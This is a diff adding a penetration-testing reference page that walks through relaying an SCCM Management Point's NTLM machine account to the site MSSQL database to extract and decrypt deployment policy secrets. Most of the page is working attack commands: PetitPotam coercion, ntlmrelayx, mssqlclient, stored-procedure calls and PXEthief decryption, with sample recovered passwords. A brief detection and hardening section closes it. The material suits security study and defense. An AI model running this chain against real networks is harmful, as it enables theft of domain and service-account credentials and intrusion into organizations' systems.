|
| 1 | +# SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## TL;DR |
| 6 | +By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights. These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets. |
| 7 | + |
| 8 | +High-level chain: |
| 9 | +1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. |
| 10 | +2. Start `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`. |
| 11 | +3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc. |
| 12 | +4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **<DOMAIN>\\<MP-host>$** account. |
| 13 | +5. Execute: |
| 14 | + * `use CM_<SiteCode>` |
| 15 | + * `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''` |
| 16 | + * `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (or `MP_GetPolicyBodyAfterAuthorization`) |
| 17 | +6. Strip `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`. |
| 18 | + |
| 19 | +Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients. |
| 20 | + |
| 21 | +--- |
| 22 | + |
| 23 | +## 1. Enumerating unauthenticated MP endpoints |
| 24 | +The MP ISAPI extension **GetAuth.dll** exposes several parameters that don’t require authentication (unless the site is PKI-only): |
| 25 | + |
| 26 | +| Parameter | Purpose | |
| 27 | +|-----------|---------| |
| 28 | +| `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. | |
| 29 | +| `MPLIST` | Lists every Management-Point in the site. | |
| 30 | +| `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). | |
| 31 | + |
| 32 | +Grab the GUIDs that will act as the **clientID** for later DB queries: |
| 33 | +```bash |
| 34 | +curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - |
| 35 | +``` |
| 36 | + |
| 37 | +--- |
| 38 | + |
| 39 | +## 2. Relay the MP machine account to MSSQL |
| 40 | +```bash |
| 41 | +# 1. Start the relay listener (SMB→TDS) |
| 42 | +ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support |
| 43 | + |
| 44 | +# 2. Trigger authentication from the MP (PetitPotam example) |
| 45 | +python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ |
| 46 | + -u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10 |
| 47 | +``` |
| 48 | +When the coercion fires you should see something like: |
| 49 | +``` |
| 50 | +[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED |
| 51 | +[*] SOCKS: Adding CONTOSO/[email protected](1433) |
| 52 | +``` |
| 53 | + |
| 54 | +--- |
| 55 | + |
| 56 | +## 3. Identify OSD policies via stored procedures |
| 57 | +Connect through the SOCKS proxy (port 1080 by default): |
| 58 | +```bash |
| 59 | +proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth |
| 60 | +``` |
| 61 | +Switch to the **CM_<SiteCode>** DB (use the 3-digit site code, e.g. `CM_001`). |
| 62 | + |
| 63 | +### 3.1 Find Unknown-Computer GUIDs (optional) |
| 64 | +```sql |
| 65 | +USE CM_001; |
| 66 | +SELECT SMS_Unique_Identifier0 |
| 67 | +FROM dbo.UnknownSystem_DISC |
| 68 | +WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86 |
| 69 | +``` |
| 70 | + |
| 71 | +### 3.2 List assigned policies |
| 72 | +```sql |
| 73 | +EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''; |
| 74 | +``` |
| 75 | +Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`. |
| 76 | + |
| 77 | +Focus on policies: |
| 78 | +* **NAAConfig** – Network Access Account creds |
| 79 | +* **TS_Sequence** – Task Sequence variables (OSDJoinAccount/Password) |
| 80 | +* **CollectionSettings** – Can contain run-as accounts |
| 81 | + |
| 82 | +### 3.3 Retrieve full body |
| 83 | +If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using: |
| 84 | +```sql |
| 85 | +EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; |
| 86 | +``` |
| 87 | +> IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated. |
| 88 | +
|
| 89 | +--- |
| 90 | + |
| 91 | +## 4. Decode & decrypt the blob |
| 92 | +```bash |
| 93 | +# Remove the UTF-16 BOM, convert from hex → XML |
| 94 | +echo 'fffe3c003f0078…' | xxd -r -p > policy.xml |
| 95 | + |
| 96 | +# Decrypt with PXEthief (7 = decrypt attribute value) |
| 97 | +python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) |
| 98 | +``` |
| 99 | +Recovered secrets example: |
| 100 | +``` |
| 101 | +OSDJoinAccount : CONTOSO\\joiner |
| 102 | +OSDJoinPassword: SuperSecret2025! |
| 103 | +NetworkAccessUsername: CONTOSO\\SCCM_NAA |
| 104 | +NetworkAccessPassword: P4ssw0rd123 |
| 105 | +``` |
| 106 | + |
| 107 | +--- |
| 108 | + |
| 109 | +## 5. Relevant SQL roles & procedures |
| 110 | +Upon relay the login is mapped to: |
| 111 | +* `smsdbrole_MP` |
| 112 | +* `smsdbrole_MPUserSvc` |
| 113 | + |
| 114 | +These roles expose dozens of EXEC permissions, the key ones used in this attack are: |
| 115 | + |
| 116 | +| Stored Procedure | Purpose | |
| 117 | +|------------------|---------| |
| 118 | +| `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. | |
| 119 | +| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. | |
| 120 | +| `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. | |
| 121 | + |
| 122 | +You can inspect the full list with: |
| 123 | +```sql |
| 124 | +SELECT pr.name |
| 125 | +FROM sys.database_principals AS dp |
| 126 | +JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id |
| 127 | +JOIN sys.objects AS pr ON pr.object_id = pe.major_id |
| 128 | +WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc') |
| 129 | + AND pe.permission_name='EXECUTE'; |
| 130 | +``` |
| 131 | + |
| 132 | +--- |
| 133 | + |
| 134 | +## 6. Detection & Hardening |
| 135 | +1. **Monitor MP logins** – any MP computer account logging in from an IP that isn’t its host ≈ relay. |
| 136 | +2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`). |
| 137 | +3. Disable unused NTLM, enforce SMB signing, restrict RPC ( |
| 138 | + same mitigations used against `PetitPotam`/`PrinterBug`). |
| 139 | +4. Harden MP ↔ DB communication with IPSec / mutual-TLS. |
| 140 | + |
| 141 | +--- |
| 142 | + |
| 143 | +## See also |
| 144 | +* NTLM relay fundamentals: |
| 145 | + {{#ref}} |
| 146 | + ../ntlm/README.md |
| 147 | + {{#endref}} |
| 148 | + |
| 149 | +* MSSQL abuse & post-exploitation: |
| 150 | + {{#ref}} |
| 151 | + abusing-ad-mssql.md |
| 152 | + {{#endref}} |
| 153 | + |
| 154 | + |
| 155 | + |
| 156 | +## References |
| 157 | +- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/) |
| 158 | +- [PXEthief](https://github.com/MWR-CyberSec/PXEThief) |
| 159 | +- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) |
| 160 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments